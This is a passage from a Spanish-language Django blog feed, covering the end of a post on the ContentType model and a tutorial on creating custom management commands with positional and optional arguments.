style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;otros-modelos-guardados-en-contenttype-de-django&#34;&gt;Otros modelos guardados en ContentType de Django&lt;/h2&gt;&#xA;&lt;p&gt;Como ya sabes, cada entrada de una tabla tiene un identificador único, la id, mira lo que pasa si accedemos al id de la instancia que acabamos de crear.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(app_label&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame&amp;#39;&lt;/span&gt;, model&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sí, como ya habrás deducido, hay más modelos registrados en la app de ContentType. Averigüemos cuales son.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: admin &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; log entry&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; permission&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; group&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ContentType&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ContentType: auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; user&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como ya mencioné, cada una de las apps instaladas de manera predeterminada cuentan con sus modelos respectivos.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres ahondar más en el tema por favor revisa &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.1/ref/contrib/contenttypes/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación oficial de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Sabías que Django lleva un registro de cada uno de los modelos que creas para tu proyecto en un modelo llamado &lt;em&gt;ContentType&lt;/em&gt;? Sigue leyendo para aprender al respecto.&lt;/p&gt;&#xA;&lt;p&gt;¡Perdón por tardar tanto en escribir! He estado ocupado mudando el frontend de mi blog a Frontity, un framework de React para Wordpress, y también mudándome a un nuevo departamento. Quizás hable un poco al respecto de Frontity en alguna entrada futura. Por ahora continuemos con el tema.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo crear un comando en django?</title>
      <link>https://coffeebytes.dev/es/django/como-crear-un-comando-en-django/</link>
      <pubDate>Thu, 21 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-crear-un-comando-en-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Has usado Django antes ¿no? Entonces, ya usaste algún comando de Django, pudo haber sido makemigrations, migrate, startproject, startapp algún otro. Pero, ¿alguna vez has creado alguno? Quizás no. Sigue leyendo para aprender como.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-un-comando-en-django&#34;&gt;Crear un comando en django&lt;/h2&gt;&#xA;&lt;p&gt;Para crear un comando de django basta con crear una carpeta llamada &lt;em&gt;management&lt;/em&gt; en el mismo nivel que tu archivo &lt;em&gt;manage.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Posteriormente, hay que crear una carpeta llamada commands dentro de esa carpeta&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; management/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora nos posicionamos dentro de esa carpeta y creamos un archivo con el nombre de nuestro comando&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; commands/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch tucomando.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro de esta archivo crearemos una clase llamada &lt;em&gt;Command&lt;/em&gt; que herede de &lt;em&gt;BaseCommand&lt;/em&gt;, con un método llamado &lt;em&gt;handle&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# management/command/tucomando.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro del método &lt;em&gt;handle&lt;/em&gt; colocaremos el código que se ejecutará cuando usemos nuestro comando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stdout&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;style&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ERROR(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Texto de error&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;stdout&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;style&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;WARNING(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Texto de advertencia&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para mostrar texto en la terminal usaremos &lt;em&gt;self.stdout.write&lt;/em&gt; para imprimir texto en la salida estándar. Podemos seleccionar entre varios estilos de acuerdo a lo que queramos mostrar.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;anadir-argumentos-al-comando&#34;&gt;Añadir argumentos al comando&lt;/h2&gt;&#xA;&lt;p&gt;Django usa la famosa librería &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/argparse.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;argparse&lt;/a&gt;&#xA; de Python para manejar los argumentos en sus comandos&lt;/p&gt;&#xA;&lt;h3 id=&#34;argumentos-posicionales&#34;&gt;Argumentos posicionales&lt;/h3&gt;&#xA;&lt;p&gt;Podemos añadir &lt;strong&gt;argumentos posicionales&lt;/strong&gt; al comando usando el método &lt;em&gt;add_argument&lt;/em&gt; de &lt;em&gt;parser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Especificamos el nombre del argumento posicional como primer argumento, luego la cantidad de argumentos que recibirá. El símbolo &amp;lsquo;+&amp;rsquo; establece que esos argumentos serán colocados en una lista, mientras que &lt;em&gt;type&lt;/em&gt; es el tipo de valores que recibirá el argumento.&lt;/p&gt;&#xA;&lt;p&gt;Seguramente ya habrás notado que la función handle recibe &lt;em&gt;*args&lt;/em&gt; y &lt;em&gt;**options&lt;/em&gt; como argumento. Bien, pues podemos acceder a los valores a través del diccionario &lt;em&gt;options&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;, nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handle&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;options):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# options[&amp;#39;email&amp;#39;] es una lista&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        send_emails(options[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;argumentos-opcionales&#34;&gt;Argumentos opcionales&lt;/h3&gt;&#xA;&lt;p&gt;¿Y si yo quiero argumentos opcionales? Pues sí, también es posible.&lt;/p&gt;&#xA;&lt;p&gt;La clase &lt;em&gt;Command&lt;/em&gt;, a través de su parser, también nos permite usar argumentos opcionales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.management.base &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BaseCommand, CommandError&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Command&lt;/span&gt;(BaseCommand):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    help &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;help text&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;add_arguments&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, parser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Named (optional) arguments&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        parser&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_argument(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;--file&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            nargs&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            const&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;logo.svg&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            help&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;texto de ayuda&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span 